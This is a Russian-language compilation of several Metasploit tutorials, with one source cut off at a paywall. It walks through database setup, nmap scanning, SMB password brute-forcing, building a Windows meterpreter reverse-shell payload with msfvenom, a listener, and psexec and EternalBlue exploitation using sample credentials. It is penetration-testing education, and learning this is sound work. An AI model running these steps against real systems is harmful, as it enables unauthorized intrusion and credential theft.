Metasploit — взлом всего(полный гайд)
Metasploit Framework — самый масштабный и распиаренный из всех фреймворков для эксплуатации и постэксплуатации. Даже если ты не используешь его сам, то наверняка встречал немало упоминаний метасплоита в статьях. Однако вводной статьи по нему ни в телеграме, ни где-либо еще не было, а если и была, то так давно, что не считается. В этой статье попробую начать с самого начала, а заодно расскажу, как именно этот фреймворк использую я, и дам разные практические советы.
Установка Metasploit Framework
В дистрибутивах, предназначенных для тестирования на проникновение (к примеру, Kali или Parrot OS), этот продукт либо предустановлен, либо легко устанавливается следующей командой:
apt install metasploit-framework
Если же ты хочешь использовать Metasploit Framework, например, в Ubuntu, то его можно установить из официального репозитория. Для этого набери в консоли следующие директивы:
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall
3 Обзор Metasploit.Часть 1.
sudo chmod 755 msfinstall
sudo ./msfinstall
База данных Metasploit
Довольно часто пользователям Metasploit приходится ломать сети, содержащие очень много хостов. И наступает момент, когда аккумулирование всей полученной информации занимает непозволительно долгое время. Именно тогда начинаешь ценить возможность работы Metasploit Framework с СУБД PostgreSQL. Metasploit может сам сохранять и удобно формализовать полученную информацию благодаря модулю msfdb. Для работы с базами необходимо запустить службу postgresql и создать базу для Metasploit.
service postgresql start
msfdb init
Сообщение msfdb об успешном создании базы данных
Проверить подключение к базе данных можно из самого фреймворка, выполнив команду
Успешное подключение к базе данных Metasploit
Чтобы было удобней работать с различными областями (хостами, сетями или доменами) и разделять данные для структуризации, msfdb имеет поддержку так называемого рабочего пространства. Давай добавим новое пространство.
> workspace -a xakep
Создание нового рабочего пространства
Теперь мы действуем в созданном рабочем пространстве. Представим, что мы находимся в сети 192.168.6.0.24. Давай поищем в ней доступные хосты. Для этого будем использовать Nmap, но из Metasploit и с привязкой к текущей базе данных — db_nmap.
> db_nmap -O 192.168.6.0/24
Сам вывод Nmap нам неинтересен: все, что нужно, будет сохранено в базе данных. К примеру, у нас есть уже все просканированные хосты и мы можем их просмотреть одним списком с помощью команды
Список просканированных хостов, сохраненный в базе данных
Но заодно с хостами были сохранены и все службы, список которых у нас теперь также всегда будет под рукой. При этом мы можем посмотреть как вообще все службы на портах, так и список служб для определенного хоста.
Metasploit: Framework для проверки систем на защищенность | UnderMind
Список всех найденных служб
Список найденных на определенном хосте служб
У базы данных msfdb есть очень крутая возможность — сохранение всех найденных учетных данных. Об этой функции я расскажу позже, а сначала несколько слов о возможностях брутфорса, которыми располагает фреймворк. Полный список перебираемой информации для коллекционирования учетных данных можно получить следующей командой:
> search type auxiliary/scanner -S «_login»
Модули для брутфорса учетных данных некоторых служб
Обрати внимание на SMB. Чтобы узнать, для чего именно предназначен определенный модуль и его описание (со ссылкой на cvedetails), а также посмотреть данные, которые нужно передать в качестве параметров, следует воспользоваться командой info.
info auxiliary/scanner/smb/smb_login
Описание модуля smb_login
Давай выберем этот модуль, зададим название домена, имя пользователя, интересующий нас хост и список паролей.
msf5 > use auxiliary/scanner/smb/smb_login
msf5 auxiliary(scanner/smb/smb_login) > set RHOSTS 192.168.6.129
msf5 auxiliary(scanner/smb/smb_login) > set SMBUser root
msf5 auxiliary(scanner/smb/smb_login) > set PASS_FILE /home/ralf/tmp/pass.txt
msf5 auxiliary(scanner/smb/smb_login) > set SMBDomain DOMAIN
msf5 auxiliary(scanner/smb/smb_login) > run
Настройка модуля smb_login
Обнаруженный smb_login пароль для целевого пользователя
Если найденный пользователь — администратор, Metasploit сообщит нам об этом, что очень удобно. Но ведь в нашей сети может быть 100 машин и даже больше, а на них наверняка запущено множество служб. Как правило, удается собрать много учетных данных, используя только модули брутфорса. Использование msfdb позволяет не тратить время на коллекционирование всех обнаруженных логинов, хешей, паролей, так как они автоматически остаются в хранилище учетных данных, посмотреть которое можно командой
Хранилище учетных данных msfdb
Я описал не все функции msfdb (есть интеграции со сканерами Nessus и OpenVAS), а лишь те, которыми постоянно пользуюсь сам.
Получение точки опоры
Полезная нагрузка
Metasploit предоставляет большой арсенал возможностей для создания полезной нагрузки. Но нужно учитывать, что существуют разные способы внедрения этой самой нагрузки. С помощью фреймворка можно создавать как легкие пейлоады для выполнения команд и получения простого шелла, так и сложные, например meterpreter или VNC (с использованием дополнительного загрузчика).
При этом одна и та же полезная нагрузка может работать как в режиме ожидания подключения (bind), так и в режиме reverse (для бэкконнекта от целевого хоста). Стоит учитывать, что чем легче нагрузка, тем больше ее надежность и стабильность. Так, обычный шелл может быть создан с помощью AWK, jjs, Lua, Netcat, Node.js, Perl, R, Ruby, socat, stub, zsh, ksh, Python, PHP, PowerShell.
Чтобы найти нагрузку для определенного случая, используем команду search.
search payload/
Некоторые виды полезной нагрузки Metasploit
В большинстве случаев используется загрузчик в одном из следующих форматов: raw, ruby, rb, perl, pl, c, js_be, js_le, java, dll, exe, exe-small, elf, macho, vba, vbs, loop-vbs, asp, war. Для работы с пейлоадами в составе фреймворка имеется свой модуль — msfvenom.
Давай для примера создадим нагрузку meterpreter типа reverse, работающую по протоколу TCP для операционной системы Windows, — это windows/x64/meterpreter/reverse_tcp .
Описание нагрузки windows/x64/meterpreter/reverse_tcp
Главными параметрами для этой полезной нагрузки будут LHOST и LPORT — адрес и порт нашего сервера для бэкконнекта. Создадим нагрузку в формате *.exe.
msfvenom -p [пейлоад] [параметры пейлоада] -f [формат] -o [итоговый файл]
Создание нагрузки с помощью msfvenom
Исполняемый файл с нагрузкой готов. Да, у msfvenom есть еще много функций вроде задержек и кодеров, но я их не использую.
Листенер
За создание листенера отвечает модуль exploit/multi/handler . Этому модулю нужно указать только целевой пейлоад, с которым он будет взаимодействовать, и параметры этого пейлоада.
> use exploit/multi/handler
> set payload windows/x64/meterpreter/reverse_tcp
> set LHOST 192.168.6.1
> set LPORT 4321
> run
Создание листенера
Есть быстрый способ создать такой листенер — команда укладывается в одну строку.
handler -p [пейлоад] -H [хост] -P [порт]
Создание листенера
И теперь наша задача сделать так, чтобы файл с нагрузкой был выполнен на целевом хосте.
Эксплоиты
Об используемых нами эксплоитах в обертке Metasploit Framework я расскажу кратко, так как для получения точки опоры мы используем только два из них. Это exploit/windows/smb/psexec и exploit/windows/smb/ms17_010_eternalblue . Конечно, если нам удается обнаружить уязвимые службы и для них есть эксплоиты в Metasploit, они тоже идут в дело, но такое случается редко. В следующих разделах мы чуть подробнее разберем именно нагрузку meterpreter, так как легкие нагрузки обеспечивают доступ к обычному шеллу, а vncinject просто открывает удаленный рабочий стол. Для модуля psexec укажем полученные учетные данные, адрес целевого хоста и тип нагрузки с необходимыми параметрами.
> set payload windows/x64/meterpreter/reverse_tcp
> set LHOST 192.168.6.1
> set LPORT 9876
> set RHOSTS 192.168.6.129
> set SMBUser root
> set SMBPass 1q2w#E$R
> set SMBDomain domain.dom
> run
Получение сессии meterpreter
В итоге мы получаем сессию meterpreter для удаленного хоста с операционной системой Windows.
Эксплуатация и постэксплуатация
Настало время уделить внимание вопросам эксплуатации тех возможностей, которые мы получили на предыдущем этапе. Удаленный хост может работать под управлением различных операционных систем, поэтому поговорим о каждой из них в отдельности.
Windows
Эта ОС — одна из самых распространенных, поэтому постэксплуатацию узлов, работающих под управлением Windows, можно условно разделить на несколько подходов.
База meterpreter
Сначала давай расскажу о модулях, которые мы используем, когда у нас уже имеется сессия meterpreter. Как и во множестве других фреймворков, в Metasploit присутствуют полезные команды для загрузки файлов download и upload . Для стабильности мы можем перенести нашу сессию в другой процесс на хосте с помощью команды migrate . Эта команда принимает один параметр — PID целевого процесса, получить который можно из списка процессов (с помощью команды ps ).
Источник: dzen.ru
Гид по Metasploit Framework
В одной из прошлых статей мы публиковали Гид по Kali Linux , практического руководства по использованию дистрибутива Kali Linux для аудита ИБ и проведения пен-тестов. Сегодня же мы обратим пристальное внимание на один из инструментов входящих в данный дистрибутив — Metasploit Framework . Рассмотри историю возникновения проекта, а так приведем конкретные руководства и документации способствующие практическому освоению пакета Metasploit
История проекта
В 2003 году, хакеру, известному как «HD Moore» , пришла в голову идея разработать инструмент для быстрого написания и использования эксплоитов . Так на свет появился известный во всех кругах проект Metasploit project .
Первая версия фреймфорка была написана на языке Perl, содержавшая псевдографический интерфейс на базе библиотеки curses. На тот момент это был просто набор разрозненных эксплойтов и скриптов, общие сведения о которых хранились в единой базе данных. Информация о необходимом окружении для запуска скриптов, как правило, отсутствовала. Также они несли в себе кучу устаревшего кода, требовали модификации жестко прописанных путей для каждого конкретного случая, что весьма затрудняло рабочий процесс и усложняло разработку новых инструментов.
При работе над второй (2.x) версией к HD Moore присоединился Мэтт Миллер и еще несколько добровольцев. Третья версия была полностью переписана на Ruby, её разрабатывала компания Metasploit LLC (основанная вспе теми же разработчиками в 2006 году). Через год в 2008 лицензия Metasploit Framework была сменена с проприетарной на BSD. А еще позднее в 2009 году фирма Rapid7 , занимающаяся управлением уязвимостями, объявила о приобретении Metasploit , программного пакета двойного назначения для проведения тестов на проникновение . Так же сообщалось, что некоммерческая версия утилиты по-прежнему будет доступна для всех желающих.
С момента приобретения фреймфорка, многое изменилось.
Появились PRO и Community версии, а в 2010 году, в свет вышла более упрощенная версия для «малоквалифицированных» пользователей — Metasploit Express .
Сегодня Metasploit распространяется в четырех версиях:
- Framework — базовая версия с консольным интерфейсом;
- Community — бесплатная версия, включающая дополнительно веб-интерфейс и часть функционала из коммерческих версий;
- Express — для коммерческих пользователей, включает функционал, позволяющий упростить проведение базовых аудитов и формирование отчетности по ним;
- Pro — самая продвинутая версия, предоставляет расширенные возможности для проведения атак, позволяет формировать цепочки задач для аудита, составлять подробную отчетность и многое другое.
Armitage графическая оболочка
По сравнению с остальными интерфейсами Armitage позволяет в наглядном виде представить все этапы атаки, включая: сканирование узлов сети, анализ защищенности обнаруженных ресурсов, выполнение эксплоитов и получение полного контроля над уязвимой системой.
Все функции программы структурированы и легкодоступны из меню и вкладок программы, даже для начинающего исследователя компьютерной безопасности. Программа предназначена для использования на платформах Linux и Windows. На веб-сайте разработчиков присутствуют исходные коды, справочные руководства в текстовом и видео формате.
1. База данных
До начала работы с пакетом нужно учесть возможность использования базы дынных, для хранения информации о хостах, сервисах, уязвимостях и прочем. Подключение к базе весьма не обязательное условие для функционирования фреймворка, но тем не менее повышающее удобство использоавния производительность.
Metasploit использует PostgreSQL, поэтому до начала работы с ним понадобится установить СУБД на свою систему. Затем убедиться, что запущены нужные сервисы БД и фреймворка.
2. Структура фремворка
«Сердце» Metasploit — библиотека Rex. Она требуется для операций общего назначения: работы с сокетами, протоколами, форматирования текста, работы с кодировками и подобных. На ней базируется библиотека MSF Core , которая предоставляет базовый функционал и «низкоуровневый» API. Его использует библиотека MSF Base, которая, в свою очередь, предоставляет API для плагинов, интерфейса пользователя (как консольного, так и графического), а также подключаемых модулей .
Все модули делятся на несколько типов, в зависимости от предоставляемой функциональности:
- Exploit — код, эксплуатирующий определенную уязвимость на целевой системе (например, переполнение стека)
- Payload — код, который запускается на целевой системе после того, как отработал эксплойт (устанавливает соединение, выполняет шелл-скрипт и прочее)
- Post — код, который запускается на системе после успешного проникновения (например, собирает пароли, скачивает файлы)
- Encoder — инструменты для обфускации модулей с целью маскировки от антивирусов
- NOP — генераторы NOP’ов. Это ассемблерная инструкция, которая не производит никаких действий. Используется, чтобы заполнять пустоту в исполняемых файлах, для подгонки под необходимый размер
Auxiliary — модули для сканирования сети, анализа трафика и так далее.
3. Общие команды MSFCONSOLE
Несмотря на наличие графических интерфейсов, самым распространенным способом работы с Metasploit по-прежнему остается консольный интерфейс msfconsole .
Рассмотрим основные команды:
- use — выбрать определенный модуль для работы с ним;
- back — операция, обратная use: перестать работать с выбранным модулем и вернуться назад;
- show — вывести список модулей определенного типа;
- set — установить значение определенному объекту;
- run — запустить вспомогательный модуль после того, как были установлены необходимые опции;
- info — вывести информацию о модуле;
- search — найти определенный модуль;
- check — проверить, подвержена ли целевая система уязвимости;
- sessions — вывести список доступных сессий.
Документация
Мы не много познакомиться с историей проекта, кратко разобрались в базовых понятиях, теперь настало время приступить к изучению возможностей пакета.
На официальном сайта разработчика размещен Metasploit Framework Pro User Guide , подробно описывающий все возможные фичи пакета и их применение в реальных условиях. Не смотря на то, что гид написан на английском языке, объясняется все довольно четко и интуитивно понятно.
Для начинающих пользователей ей гид попроще
Metasploit Framework User Guide , он содержит более упрощенное описание пакета, но хорошо иллюстрирует способы использования команд.
Источник: www.securitylab.ru
Metasploit Framework: краткое практическое руководство
Автор материала не несет ответственности, за действия совершенные читателями. Информация предоставлена исключительно в ознакомительных целях.
Metasploit представляет собой платформу для тестирования на проникновение, позволяет имитировать сетевые атаки, а также является средством создания и применения эксплойтов. На данный момент Metasploit приобретен компанией Rapid7 и имеет несколько версий:
— командная оболочка msfconole
— версия с web-интерфейсом Metasploit PRO.
Загрузить и установить Metasploit можно с официального сайта проекта:
В этой статье я постараюсь полностью избежать теории и максимально коротко раскрыть практическую сторону Metasploit на примере проникновения в ОС Windows Server 2012.
Подготовим все необходимое
В качестве атакующей машины будет выступать компьютер под управлением ОС Kali, дистрибутив которой уже содержит Metasploit, нам остается только запустить сервис базы данных:
$sudo service postgresql start
Убедиться, что база данных прослушивает порт 5432 командой:
Остается только инициализировать БД msf:
$sudo msfdb init
Теперь можно запускать msfconsole:
Проверим статус БД:
msf5 >db_status
Если всё настроено верно, то мы получим примерно такой вывод:
[*] Connected to msf. Connection type: postgresql.
Сбор информации и атака
Для этой цели будем использовать сетевой сканнер nmap прямо из консоли msf. Как использовать nmap — это отдельная тема, останавливаться на ней сейчас я не буду, скажу только, что ip-адрес жертвы в этом примере нам известен, а ключ -sV даст больше информации об ОС, службах и открытых портах:
msf5 >nmap -sV 192.168.1.104
Antony_Allonsy
Для поиска эксплойтов используем команду search. Также искать эксплойты можно по названию, коду CVE, версии сервиса или на https://www.exploit-db.com/
Следующей командой ищем модули для работы с SMB:
msf5 >search smb
В выводе мы получим список всех известных на данный момент модулей для SMB. А также версию, код уязвимости и шансы на успех.
Выбор осуществляется командой use:
msf5 >use exploit/windows/smb/ms17_010_psexec
Для смены модуля используем команду use или для отмены команду back.
Теперь мы можем установить ip адрес жертвы и ввести команду exploit в msfconsole для выполнения выбранного модуля или просмотреть опции модуля командой show options.
Опции модуля устанавливаются командой set.
В моей компании половина сотрудников хранят свои пароли на стикерах, приклеенных к мониторам. А в компании, где я работал до этого, все логины и пароли лежали на общедоступном диске в одном документе. Поэтому если вам так же «повезло», как мне, используем социальную инженерию и зададим логин и пароль:
msf5 exploit(windows/smb/ms17_010_psexec)>set smbuser Ivanov_II
msf5 exploit(windows/smb/ms17_010_psexec)>set smbpass Qwerty123
Но в данном примере я задам только ip-адрес, в этом случае Metasploit будет пытаться войти в систему либо анонимно, либо используя словарь, адрес которого видно в опциях. Вводим:
msf5 exploit(windows/smb/ms17_010_psexec)>set rhost 192.168.1.104
И запустим выбраный модуль:
msf5 exploit(windows/smb/ms17_010_psexec)>exploit
Источник: vc.ru
Путеводитель по Metasploit. Разбираем примеры использования знаменитого фреймворка
Metasploit Framework — самый масштабный и распиаренный из всех фреймворков для эксплуатации и постэксплуатации. Даже если ты не используешь его сам, то наверняка встречал немало упоминаний MSF в наших статьях. Однако вводной статьи по нему в «Хакере» не было, а если и была, то так давно, что не считается. Я попробую начать с самого начала, а заодно расскажу, как именно этот фреймворк использует моя команда, и дам разные практические советы.
WARNING
Вся информация предоставлена исключительно в ознакомительных целях. Ни редакция, ни автор не несут ответственности за любой возможный вред, причиненный информацией из этой статьи.
Установка Metasploit Framework
В дистрибутивах, предназначенных для тестирования на проникновение (к примеру, Kali или Parrot OS), этот продукт либо предустановлен, либо легко устанавливается следующей командой:
apt install metasploit-framework
Если же ты хочешь использовать Metasploit Framework, например, в Ubuntu, то его можно установить из официального репозитория. Для этого набери в консоли следующие директивы:
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall sudo chmod 755 msfinstall sudo ./msfinstall
База данных Metasploit
Довольно часто пользователям Metasploit приходится ломать сети, содержащие очень много хостов. И наступает момент, когда аккумулирование всей полученной информации занимает непозволительно долгое время.
Именно тогда начинаешь ценить возможность работы Metasploit Framework с СУБД PostgreSQL. Metasploit может сам сохранять и удобно формализовать полученную информацию благодаря модулю msfdb. Для работы с базами необходимо запустить службу postgresql и создать базу для Metasploit.
service postgresql start msfdb init
Проверить подключение к базе данных можно из самого фреймворка, выполнив команду db_status .
Чтобы было удобней работать с различными областями (хостами, сетями или доменами) и разделять данные для структуризации, msfdb имеет поддержку так называемого рабочего пространства. Давай добавим новое пространство в наш проект.
> workspace -a xakep
Теперь мы действуем в созданном рабочем пространстве. Представим, что мы находимся в сети 192.168.6.0.24. Давай поищем в ней доступные хосты. Для этого будем использовать Nmap , но из Metasploit и с привязкой к текущей базе данных — db_nmap .
> db_nmap -O 192.168.6.0/24
Сам вывод Nmap нам неинтересен: все, что нужно, будет сохранено в базе данных. К примеру, у нас есть уже все просканированные хосты и мы можем их просмотреть одним списком с помощью команды hosts .
Но заодно с хостами были сохранены и все службы, список которых у нас теперь также всегда будет под рукой. При этом мы можем посмотреть как вообще все службы на портах, так и список служб для определенного хоста.
У базы данных msfdb есть очень крутая возможность — сохранение всех найденных учетных данных. Об этой функции я расскажу позже, а сначала несколько слов о возможностях брутфорса, которыми располагает фреймворк. Полный список перебираемой информации для коллекционирования учетных данных можно получить следующей командой:
> search type auxiliary/scanner -S «_login»
Обрати внимание на SMB. Чтобы узнать, для чего именно предназначен определенный модуль и его описание (со ссылкой на cvedetails), а также посмотреть данные, которые нужно передать в качестве параметров, следует воспользоваться командой info .
info auxiliary/scanner/smb/smb_login
Давай выберем этот модуль, зададим название домена, имя пользователя, интересующий нас хост и список паролей.
msf5 > use auxiliary/scanner/smb/smb_login msf5 auxiliary(scanner/smb/smb_login) > set RHOSTS 192.168.6.129 msf5 auxiliary(scanner/smb/smb_login) > set SMBUser root msf5 auxiliary(scanner/smb/smb_login) > set PASS_FILE /home/ralf/tmp/pass.txt msf5 auxiliary(scanner/smb/smb_login) > set SMBDomain DOMAIN msf5 auxiliary(scanner/smb/smb_login) > run
Если найденный пользователь — администратор, Metasploit сообщит нам об этом, что очень удобно. Но ведь в нашей сети может быть 100 машин и даже больше, а на них наверняка запущено множество служб. Как правило, удается собрать много учетных данных, используя только модули брутфорса. Использование msfdb позволяет не тратить время на коллекционирование всех обнаруженных логинов, хешей, паролей, так как они автоматически остаются в хранилище учетных данных, посмотреть которое можно командой creds .
Продолжение доступно только участникам
Вариант 1. Присоединись к сообществу «Xakep.ru», чтобы читать все материалы на сайте
Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», позволит скачивать выпуски в PDF, отключит рекламу на сайте и увеличит личную накопительную скидку! Подробнее
Вариант 2. Открой один материал
Заинтересовала статья, но нет возможности стать членом клуба «Xakep.ru»? Тогда этот вариант для тебя! Обрати внимание: этот способ подходит только для статей, опубликованных более двух месяцев назад.
Источник: xakep.ru